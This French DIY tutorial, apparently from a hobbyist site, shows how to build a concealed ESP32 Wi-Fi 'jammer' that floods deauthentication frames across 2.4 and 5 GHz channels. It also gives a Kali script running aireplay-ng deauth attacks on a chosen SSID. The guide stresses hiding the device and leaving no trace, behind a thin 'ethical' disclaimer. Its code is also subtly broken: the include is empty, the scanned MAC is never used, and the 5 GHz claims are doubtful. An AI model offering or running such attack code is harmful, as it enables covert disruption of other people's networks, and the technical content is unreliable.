📡 DIY Wi-Fi Ghost Jammer : Le Silence Invisible

🎯 Un brouilleur Wi-Fi 2.4/5 GHz ultra-furtif – détection MAC auto et chaos maîtrisé

Ce DIY crée un jammer portable qui coupe les réseaux Wi-Fi en 2.4 et 5 GHz, détecte les MAC automatiquement, et brouille pendant 1 minute. Ultra-discret, parfait pour tester ou sensibiliser – toujours éthique et récup’ !

1️⃣ Le Projet Fantôme 2.0

Un brouilleur Wi-Fi USB qui passe au niveau supérieur : brouillage large bande ou ciblé, détection des MAC en live, et furtivité maximale. On hacke les ondes comme des ninjas, pour apprendre, pas pour détruire !

🔍 Fonctionnalités Upgradées

  • 📶 Brouillage 2.4 + 5 GHz
  • 🎯 Détection MAC auto
  • ⏱️ 1 minute de chaos
  • 👻 Furtivité renforcée

2️⃣ Matériel Récup’

Coût : 0 € avec récup’, ~5-10 € sinon.

3️⃣ Montage Électronique

  1. 🔪 Soudez l’antenne dual-band sur l’ESP32 (pin ANT).
  2. 🔌 Connectez un petit bouton sur GPIO 4 et GND.
  3. 💡 Branchez une LED discrète sur GPIO 2 avec 220Ω.
  4. ⚡ Alimentez via USB ou pile 9V (régulateur 3.3V).
  5. 🔨 Cachez dans le boîtier avec colle chaude – zéro trace visible.

Schéma ASCII :

            USB 5V ----+----> ESP32 (3.3V via régulateur)
                       |
            GND ----+----> ESP32 GND
                       |
            GPIO 4 --> Bouton --> GND
            GPIO 2 --> 220Ω --> LED --> GND
            

→ LED cachée sous le boîtier pour max furtivité.

4️⃣ Code sous Kali

🔧 Code ESP32 (Arduino IDE)

#include 

int buttonPin = 4;
int ledPin = 2;
bool jamming = false;
String target_mac = "";

void setup() {
  pinMode(buttonPin, INPUT_PULLUP);
  pinMode(ledPin, OUTPUT);
  WiFi.mode(WIFI_STA);
  WiFi.disconnect();
  digitalWrite(ledPin, LOW);
  scanForTarget(); // Scan initial
}

void scanForTarget() {
  WiFi.scanNetworks(true); // Scan asynchrone
  int n = WiFi.scanComplete();
  if (n > 0) {
    target_mac = WiFi.BSSIDstr(0); // Prend la 1ère MAC détectée
    Serial.println("Cible MAC : " + target_mac);
  }
}

void loop() {
  if (digitalRead(buttonPin) == LOW && !jamming) { // Bouton pressé
    jamming = true;
    digitalWrite(ledPin, HIGH); // LED discrète ON
    unsigned long startTime = millis();

    while (millis() - startTime < 60000) { // 1 minute
      for (int channel = 1; channel <= 13; channel++) { // 2.4 GHz
        esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
        sendDeauth(target_mac, channel);
      }
      for (int channel = 36; channel <= 165; channel += 4) { // 5 GHz
        esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
        sendDeauth(target_mac, channel);
      }
      delay(10);
    }
    jamming = false;
    digitalWrite(ledPin, LOW); // LED OFF
  }
}

void sendDeauth(String mac, int channel) {
  uint8_t deauth_packet[] = {
    0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    // Remplacez les 6 octets suivants par la MAC cible (ex. "AA:BB:CC:DD:EE:FF")
    0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF,
    // MAC source (ESP32)
    0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF
  };
  esp_wifi_80211_tx(0, deauth_packet, sizeof(deauth_packet), false);
}
            

→ Flash via sudo apt install arduino. Lib : ESP32WiFi. Note : Adaptez la MAC dans deauth_packet.

🛠️ Contrôle et Scan via Kali

#!/bin/bash
# Scan des réseaux et MAC
echo "🔍 Scan en cours..."
iwlist wlan0 scan | grep -E "ESSID|Address"
# Lancer une attaque deauth ciblée
read -p "Entrez le SSID à brouiller : " ssid
sudo aireplay-ng --deauth 100 -e "$ssid" wlan0
# Vérifier
nmcli dev wifi list
            

→ Sauvez comme jammer.sh, chmod +x jammer.sh.

5️⃣ Test et Furtivité Max

  1. 🔌 Branchez sur une batterie USB.
  2. ▶️ Appuyez discrètement – LED clignote une fois, brouillage 1 min.
  3. 📡 Vérifiez avec nmcli dev wifi list – plus rien !

→ Boîtier neutre, LED cachée, aucune trace physique.

6️⃣ Astuces Pro

🎓 Conclusion Éthique

Ce Wi-Fi Ghost Jammer 2.0, c’est du DIY ninja : 2.4/5 GHz, MAC auto, 1 min de silence radio. Testez, sensibilisez, mais restez dans les clous – on hacke pour le savoir, pas le chaos !